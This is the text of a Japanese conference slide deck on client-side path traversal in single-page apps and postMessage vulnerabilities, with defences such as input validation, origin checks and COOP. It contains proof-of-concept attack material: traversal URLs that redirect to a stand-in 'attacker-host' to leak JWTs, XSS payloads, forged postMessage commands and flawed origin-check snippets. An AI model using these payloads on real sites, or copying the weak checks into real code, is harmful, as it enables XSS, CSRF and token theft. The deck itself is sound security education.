注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3

注目したいクライアントサイドの脆弱性2選 2024/2/22 Security.Tokyo #3 / Masato Kinugawa

自己紹介 • Masato Kinugawa • XSSが好き • Cure53で脆弱性診断 • Pwn2Own
2022のwinner

今日の話次の2つの脆弱性について話します！ 1. クライアントサイドのパストラバーサル 2. postMessage経由の脆弱性

クライアントサイドのパストラバーサル

Client-side Path Traversal: 取り上げた理由 • SPA(Single Page Application)の流行と共に増えている作り込みパターンがあり、今こそ知ってほしい •
Bug Bountyのwrite upなどでも実例が見られる(下部のURL参照) • 悪用できるかは状況次第で、少しわかりにくい https://medium.com/@Nightbloodz/the-power-of-client-side-path-traversal-how-i-found-and-escalated-2-bugs-through-670338afc90f The power of Client-Side Path Traversal: How I found and escalated 2 bugs through “../” by Alvaro Balada

近年よく見る脆弱パターンクライアント側で、ルーティングしたパスのパラメータ部分を使って、動的にAPIアクセスを行うようなコードがあるとき… <Routes> <Route path="/posts/:id" element={<Posts />} /> </Routes>
//Posts.tsx const { id } = useParams(); //以下のJSON応答からページのコンテンツを表示するとする const res = await fetch(`/api/posts/${id}`);

期待された動作はこんなかんじ 1. /posts/12 を開く 2. JSが /api/posts/12 をフェッチ 3. 応答のJSONからコンテンツを表示
HTTP/1.1 200 OK Content-Type: application/json;charset=utf-8 [...] { "title":"Hey!", "content":"<p>hello</p>" } GET /api/posts/12 HTTP/1.1

異常な動作(パストラバーサル) 1. /posts/..%5C..%5Cfoo を開く 2. JSが /foo をフェッチ ( /api/posts/..\..\foo
の正規化後のURL) 3. 応答からコンテンツを表示しようとするが、JSONでないのでエラー HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 [...] <!DOCTYPE html>... (SPAのHTMLが続く) GET /foo HTTP/1.1

攻撃者は何ができるか • パストラバーサルで任意の同一オリジンのURLをフェッチできる • つまり、同一オリジンに任意のJSON応答を返せる箇所があれば、表示されるコンテンツの偽装や場合によってはXSSまで可能に！ { "title":"attacker's content", "content":"<img
src=x onerror=alert(/XSS/)>" } GET /json-response-you-like HTTP/1.1 OK /XSS/ そんな都合の良いことがあり得る？

あり得る！ 1. ファイルアップロード機能があるとき 2. オープンリダイレクトがあるとき 3. 別のAPI応答が同じJSONプロパティを使っていて、かつ、そのプロパティの値をユーザーがコントロール可能なとき例えばこんなとき：

Path Traversal + File Upload = XSS 1. /posts/..%5C..%5Cfiles%5C123 を開く
2. JSが /files/123 をフェッチ 3. 応答からコンテンツを表示しようとすると… /files/:id でユーザーがアップロードしたファイルがホストされるとき… { "title":"Uploaded by attacker", "content":"<img src=x onerror=alert(/XSS/)>" } GET /files/123 HTTP/1.1 OK /XSS/

Path Traversal + Open Redirect = XSS HTTP/1.1 200 OK
Content-Type: application/json Access-Control-Allow-Origin: * [...] {"title":"Hello from Attacker's server", "content":"<img src=x onerror=alert(/XSS/)>"} 1. /posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2F を開く 2. JSが /redirect?url=https://attacker-host/ をフェッチ 3. リダイレクト後の応答からコンテンツを表示しようとすると… /redirect?url=* に3xx応答のオープンリダイレクトがあるとき… https://attacker-host/ の応答: (CORS用ヘッダを返してやる) HTTP/1.1 302 Found Location: https://attacker-host/ OK /XSS/

Path Traversal + Another API response = XSS { "title":"attacker's
content", "content":"<img src=x onerror=alert(/XSS/)>" } GET /api/guest-posts/123 HTTP/1.1 あり得ない…と思うかもしれないけど何度か見てる 1. /posts/..%5Cguest-posts%5C123 を開く 2. JSが /api/guest-posts/123 をフェッチ 3. 応答からコンテンツを表示しようとすると… OK /XSS/ /api/guest-posts/:id に同じ名前のJSONプロパティを返すエンドポイントがたまたまあり、かつ、ユーザー入力を置けるとき …

別の攻撃可能性: CSRF APIアクセス時にAuthorizationヘッダをつけてアクセスするような実装の場合、CSRFがあり得る場合も GET /api/posts/12 HTTP/1.1 Host: example.com Authorization:
Bearer eyJ[...] [...] どんなとき？

Path Traversal + Another API = CSRF 1. /posts/..%5Cusers%5C123%5Cfollow を開く
2. JSが /api/users/123/follow をAuthorizationヘッダと共にフェッチ 3. ユーザーID:123 のユーザーをfollowしてしまう /api/users/:id/follow へのAuthorizationヘッダ付きのGETで、 idのユーザーをフォローする機能があるとき… GET /api/users/123/follow HTTP/1.1 Host: example.com Authorization: Bearer eyJ[...] [...] HTTP/1.1 200 OK [...] Following

別の攻撃可能性: JWTのリーク JWTをリークできれば、攻撃者はそのユーザーとしてAPIを叩き放題 Authorization: Bearer eyJ[...] パストラバーサルでリークできる場合とは？ PATCH /api/profile HTTP/1.1
GET /api/users/123/follow HTTP/1.1 GET /api/users/123/unfollow HTTP/1.1 GET /api/posts/12 HTTP/1.1 DELETE /api/posts/12 HTTP/1.1

Path Traversal + Open Redirect = JWT Leak 1. /posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2F
を開く 2. JSが /redirect?url=https://attacker-host/ をフェッチ 3. attacker-hostはJWTを含むAuthorizationヘッダを受信 /redirect?url=* に3xx応答のオープンリダイレクトがあるとき… ……というシナリオが比較的最近まで可能だったのだが… HTTP/1.1 200 OK Access-Control-Allow-Headers: Authorization Access-Control-Allow-Origin: https://example.com [...] OPTIONS / HTTP/1.1 Host: attacker-host Access-Control-Request-Method: GET Access-Control-Request-Headers: Authorization リダイレクトからのpreflightリクエストと、ヘッダ受信のためのCORS応答: GET / HTTP/1.1 Host: attacker-host Authorization: Bearer eyJ[...] preflight通過後のリクエスト：

Fetch仕様の変更 • Fetch仕様が変更されてAuthorizationヘッダはクロスオリジンリダイレクト時に常に取り除かれるようになった • ただし、カスタムヘッダで代替している場合にはリークのシナリオがまだありうることに注意 HTTP/1.1 200 OK
Access-Control-Allow-Headers: X-Token Access-Control-Allow-Origin: https://example.com [...] OPTIONS / HTTP/1.1 Host: attacker-host Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Token リダイレクトからのpreflightリクエストと、ヘッダ受信のためのCORS応答: GET / HTTP/1.1 Host: attacker-host X-Token: Bearer eyJ[...] preflight通過後のリクエスト： Remove Authorization header upon cross-origin redirect #1544: https://github.com/whatwg/fetch/pull/1544

考えられる攻撃まとめ • XSS(または偽コンテンツの表示) • CSRF • リクエストヘッダからのJWTなどの秘密情報の漏洩いずれも他の機能やバグと組み合わせて初めて悪用できるものだが潜在的な脅威を排除するにはパストラバーサル自体を起こらないようにすべき

対策 • APIアクセスにユーザ入力を使う前に検証を行う • 数値だとわかっているなら数値かどうかチェック • あるいはエンコードしてから渡すなど • エンコードして渡すケースではスラッシュの扱いに注意 •
例: /api/posts/..%2F..%2Ffoo (正規化済みURL) が /foo の応答を返すような構成もありがち(= まだパストラバーサルできている状態)

Debug Tips: XHR/fetch Breakpoints • XHRやfetch()でフェッチされるURLに特定の文字列が含まれるかどうかでブレークポイントを張れる • 元のソースコードが無い時、応答がどう使われてXSSがありうるかとかを追う時に便利

Debug Tips: NetworkタブのInitiator • 既にロードされたものは、Networkタブ -> チェックしたいリソースの Initiator 部分をクリックでロードが発生したソースまで飛べる

postMessage 経由の脆弱性

postMessage経由の脆弱性: 取り上げた理由 • 見つけづらいからか、いつまで経ってもよく見る • クエリパラメータみたいに目で見えない • ちゃんとJSを読まないと悪用できるかわからない • 罠ポイントが多く、誤りやすい
• メッセージを送る側・受け取る側どちらも脆弱性を作り得る

postMessage基礎 • window間でオリジンをまたいで通信を可能にするAPI • iframeやポップアップウィンドウと通信が可能： <iframe> https://example.com https://trusted.test https://trusted.test window.open()で開いたpop
up PM PM

postMessage基礎: 引数 • 第1引数にメッセージ、第2引数にメッセージ受信先のオリジンを指定 • https://trusted.test のみ受信先として許可する例： • アスタリスクで全てのオリジンに対して許可することも可能： windowRef.postMessage(message,
targetOrigin); windowRef.postMessage('hello!', 'https://trusted.test'); windowRef.postMessage('hello!', '*');

win = window.open('https://trusted.test/','popup'); setInterval(()=>{ win.postMessage('ping','https://trusted.test'); },1000); postMessage基礎: 送信別windowの参照にあるpostMessage()を呼び出すだけ https://example.com
PM opener.postMessage('pong','*'); https://trusted.test (popup)

postMessage基礎: 受信 messageイベントをリッスンする https://example.com PM opener.postMessage('pong','*'); https://trusted.test (popup) window.addEventListener('message', event
=> { console.log(event.data);// "pong" },false);

起こり得る脆弱性 • 送信時、機密情報を外部へ送ってしまうパターン • 受信時、重要な操作を許してしまうパターン • こっちのやらかしが多い

送信時の脆弱性 • 機密情報をやりとりしているのに、第2引数で受信できるオリジンを制限していないと、任意のオリジンに情報が漏れてしまう https://attacker.test opener.postMessage('super-secret','*'); https://example.com (popup) window.open() window.addEventListener('message',
event => { console.log(event.data);// "super-secret" },false); PM

送信時の脆弱性: 対策 • ちゃんと送信先オリジンを第2引数で指定するだけ https://attacker.test opener.postMessage('super-secret','https://trusted.test'); https://example.com (popup) window.open() Failed
to execute 'postMessage' on 'DOMWindow': The target origin provided ('https://trusted.test') does not match the recipient window's origin ('https://attacker.test'). PM

受信時の脆弱性 • メッセージに基づいて重要な操作をしているとき、メッセージを送信してきたオリジンをチェックしていないと脆弱性に • この操作経由のXSSがかなりありがち window.addEventListener('message', event => {
switch(event.data.cmd) { case 'navigate': location.href = event.data.url;// XSS!! case 'reload': [...] } },false);

受信時の脆弱性: 攻撃例 https://example.com opener.postMessage({"cmd":"navigate","url":"javascript:alert(/XSS/)"},'*'); https://attacker.test (popup) https://attacker.test 1. window.open() で
attackerのページを開く PM 2. window.open後、自身をナビゲーション 3. 脆弱なリスナーがあるページに向けて細工したメッセージを送信 (直前のスライドのmessageリスナーがあるページ) 4. XSS!

受信時の脆弱性: 対策 • event.originプロパティをチェックして期待したオリジンかどうかをチェックする window.addEventListener('message', event => { if(event.origin
!== 'https://trusted.test') {return;} switch(event.data.cmd) { case 'navigate': location.href = event.data.url;// XSS!! [...] } },false); 簡単に聞こえるが、このチェックのやらかしがかなり多い…

origin検証の失敗例 #1: 正規表現 • 正規表現が厳密でないケース if(!/^https?:\/\/www.example.com/.test(event.origin)){ return; }

origin検証の失敗例 #1: 答え合わせ if(!/^https?:\/\/www.example.com/.test(event.origin)){ return; } http://www.example.com https://wwwXexample.com https://www.example.com.attacker.test http:
URLが許可されている末尾のチェックがないドットが未エスケープ

origin検証の失敗例 #2: startsWith/endsWith • 指定した文字列で始まる/終わるならtrue if(!event.origin.startsWith('https://trusted.test')){ return; }
if(!event.origin.endsWith('trusted.test')){ return; } サブドメインを許可したい意図のendsWithはありがち：

origin検証の失敗例 #2: 答え合わせ if(!event.origin.startsWith('https://trusted.test')){ return; } if(!event.origin.endsWith('trusted.test')){ return; } https://this-is-untrusted.test
も通る https://trusted.test.example.com も通ってしまう

origin検証の失敗例 #3: indexOf • 指定した部分文字列が最初に出現する位置を数値で返す • 例：先頭から出現したら0。出なければ -1 if(event.origin.indexOf('https://trusted.test') !==
0){ return; }

origin検証の失敗例 #3:答え合わせ https://trusted.test.example.com が誤って許可される "https://trusted.test.example.com".indexOf('https://trusted.test')// 0 if(event.origin.indexOf('https://trusted.test') !== 0){ return;
} 最初から出現するので以下は 0:

別の視点：チェック通過後の処理 • オリジンの検証は正確だとしても、そもそもそのあと任意JSを実行できるようなコードはないのが望ましい • 許可しているオリジンにXSSがあったら自分のオリジンにXSSを許すことになるため window.addEventListener('message', event =>
{ if(event.origin !== 'https://trusted.test') {return;} switch(event.data.cmd) { case 'navigate': location.href = event.data.url;// OK?? [...] } },false);

XSSからXSSへ繋げる例 https://example.com opener.postMessage({"cmd":"navigate","url":"javascript:alert(/XSS/)"},'*'); https://trusted.test (popup) https://attacker.test 1. window.open() で XSSに脆弱なtrusted.testページを開く
PM 2. window.open後、自身をナビゲーション 3. XSSから脆弱なリスナーがあるページに向けて細工したメッセージを送信 (https://trusted.testだけを許可するmessageリスナーがあるページ) 4. XSS! /search?q=%22%3E%3Cscript%3E...

対策まとめ • 送信時は宛先のオリジンを指定する • 受信時はメッセージを処理する前に送ってきたオリジンのチェックを行う • チェックに合格したオリジンに対しても、行える操作は必要最小限にする

見落としそうな脆弱パターン: iframe https://example.com opener[0].postMessage([...],'*'); https://attacker.test (popup) https://attacker.test 1. window.open() で
attackerのページを開く 2. window.open後、自身をナビゲーション 3. 脆弱なリスナーがあるiframeに向けて細工したメッセージを送信 <iframe srcdoc=...> PM (ここに脆弱なmessageリスナー) 4. XSS! 別のwindowからiframeへメッセージを送れることにも注意

見落としそうな脆弱パターン: サードパーティのJS • サイトにJSをロードして導入するタイプのサードパーティのサービスが、実はmessageリスナーを設定しているケースが割とある • ユーザーの行動分析ツール、カスタマーチャットみたいなのとか • iframeに埋め込んだ自身のサービスのオリジンとやり取りする目的で設定していることが多い
• ここに脆弱性があるとサービス利用サイトが軒並み脆弱に… • サービス提供者側で修正される必要あり

緩和策： Cross-Origin-Opener-Policy(COOP) • ウィンドウ間のアクセスを無効にするレスポンスヘッダ • opener や window.open()の戻り値からのアクセスも無効に • 別windowからメッセージを送る経路がなくなるのでpostMessage経
由の攻撃も軽減される • ただし脆弱なリスナーがあるページのiframeに攻撃者のサイトをロードできる場合などでは、まだiframeからメッセージが送られる可能性があることに注意 Cross-Origin-Opener-Policy: same-origin

Debug Tips: getEventListeners(obj) • objに登録されたイベントリスナーを列挙する、DevToolsで使えるJS API www.google.comで getEvenListeners(window) した例

• messageリスナーの有無のチェックと、関数の場所の特定に便利 FunctionLocationをクリックでリスナーのソースへ飛べる Debug Tips: getEventListeners(obj)

〆 1. クライアントサイドのパストラバーサル 2. postMessage経由の脆弱性次の2つの脆弱性を見ていきました！

Thanks! 𝕏 @kinugawamasato @masatokinugawa.bsky.social

注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3

注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3

More Decks by Masato Kinugawa

Featured

Transcript